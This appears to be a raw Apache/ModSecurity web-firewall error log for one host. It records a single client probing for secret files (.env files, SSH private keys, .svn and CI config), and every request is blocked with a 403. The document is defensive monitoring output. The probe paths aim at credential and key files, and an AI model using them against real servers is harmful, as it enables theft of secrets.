[Thu Feb 26 01:02:51.335676 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/.env&quot;] [unique_id &quot;aZ-Nq5qP6Uim1aZiP_g4egAAAAY&quot;]
[Thu Feb 26 01:02:51.572754 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /__tests__/test-become/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__tests__/test-become/.env&quot;] [unique_id &quot;aZ-Nqyk1SHHL9bIjTI-PDAAAAAU&quot;]
[Thu Feb 26 01:02:51.572987 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__tests__/test-become/.env&quot;] [unique_id &quot;aZ-Nqyk1SHHL9bIjTI-PDAAAAAU&quot;]
[Thu Feb 26 01:02:51.573147 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__tests__/test-become/.env&quot;] [unique_id &quot;aZ-Nqyk1SHHL9bIjTI-PDAAAAAU&quot;]
[Thu Feb 26 01:02:51.807832 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.ssh/id_rsa&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;aZ-NqzAL5Lg_nL66HcLhEgAAAAE&quot;]
[Thu Feb 26 01:02:51.808042 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;aZ-NqzAL5Lg_nL66HcLhEgAAAAE&quot;]
[Thu Feb 26 01:02:51.808179 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;aZ-NqzAL5Lg_nL66HcLhEgAAAAE&quot;]
[Thu Feb 26 01:02:51.829553 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.ssh/id_rsa&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa.pub&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa.pub&quot;] [unique_id &quot;aZ-NqzAL5Lg_nL66HcLhEwAAAAE&quot;]
[Thu Feb 26 01:02:51.829777 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa.pub&quot;] [unique_id &quot;aZ-NqzAL5Lg_nL66HcLhEwAAAAE&quot;]
[Thu Feb 26 01:02:51.829922 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa.pub&quot;] [unique_id &quot;aZ-NqzAL5Lg_nL66HcLhEwAAAAE&quot;]
[Thu Feb 26 01:02:51.854821 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/&quot;] [unique_id &quot;aZ-NqzAL5Lg_nL66HcLhFAAAAAE&quot;]
[Thu Feb 26 01:02:51.855086 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/&quot;] [unique_id &quot;aZ-NqzAL5Lg_nL66HcLhFAAAAAE&quot;]
[Thu Feb 26 01:02:51.855247 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/&quot;] [unique_id &quot;aZ-NqzAL5Lg_nL66HcLhFAAAAAE&quot;]
[Thu Feb 26 01:02:51.897169 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.travis.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .travis.yml found within REQUEST_FILENAME: /.travis.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aZ-NqzAL5Lg_nL66HcLhFQAAAAE&quot;]
[Thu Feb 26 01:02:51.897445 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aZ-NqzAL5Lg_nL66HcLhFQAAAAE&quot;]
[Thu Feb 26 01:02:51.897634 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aZ-NqzAL5Lg_nL66HcLhFQAAAAE&quot;]
[Thu Feb 26 01:02:52.119847 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /07-accessing-data/begin/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ-NrDAL5Lg_nL66HcLhGgAAAAE&quot;]
[Thu Feb 26 01:02:52.120110 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ-NrDAL5Lg_nL66HcLhGgAAAAE&quot;]
[Thu Feb 26 01:02:52.120270 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ-NrDAL5Lg_nL66HcLhGgAAAAE&quot;]
[Thu Feb 26 01:02:52.150827 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /07-accessing-data/end/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/end/vue-heroes/.env&quot;] [unique_id &quot;aZ-NrDAL5Lg_nL66HcLhGwAAAAE&quot;]
[Thu Feb 26 01:02:52.151075 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/end/vue-heroes/.env&quot;] [unique_id &quot;aZ-NrDAL5Lg_nL66HcLhGwAAAAE&quot;]
[Thu Feb 26 01:02:52.151226 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/end/vue-heroes/.env&quot;] [unique_id &quot;aZ-NrDAL5Lg_nL66HcLhGwAAAAE&quot;]
[Thu Feb 26 01:02:52.171627 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /_static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_static/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PGwAAAAU&quot;]
[Thu Feb 26 01:02:52.171868 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_static/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PGwAAAAU&quot;]
[Thu Feb 26 01:02:52.172027 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_static/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PGwAAAAU&quot;]
[Thu Feb 26 01:02:52.182066 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /08-routing/begin/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ-NrDAL5Lg_nL66HcLhHAAAAAE&quot;]
[Thu Feb 26 01:02:52.182311 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ-NrDAL5Lg_nL66HcLhHAAAAAE&quot;]
[Thu Feb 26 01:02:52.182475 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/begin/vue-heroes/.env&quot;] [unique_id &quot;aZ-NrDAL5Lg_nL66HcLhHAAAAAE&quot;]
[Thu Feb 26 01:02:52.241529 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /acme-challenge/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme-challenge/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PHQAAAAU&quot;]
[Thu Feb 26 01:02:52.241771 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme-challenge/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PHQAAAAU&quot;]
[Thu Feb 26 01:02:52.241965 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme-challenge/.env&quot;] [unique_id &quot;aZ-NrCk1SHHL9bIjTI-PHQAAAAU&quot;]
[Thu Feb 26 01:02:52.245288 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /08-routing/end/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/end/vue-heroes/.env&quot;] [unique_id &quot;aZ-NrDAL5Lg_nL66HcLhHQAAAAE&quot;]
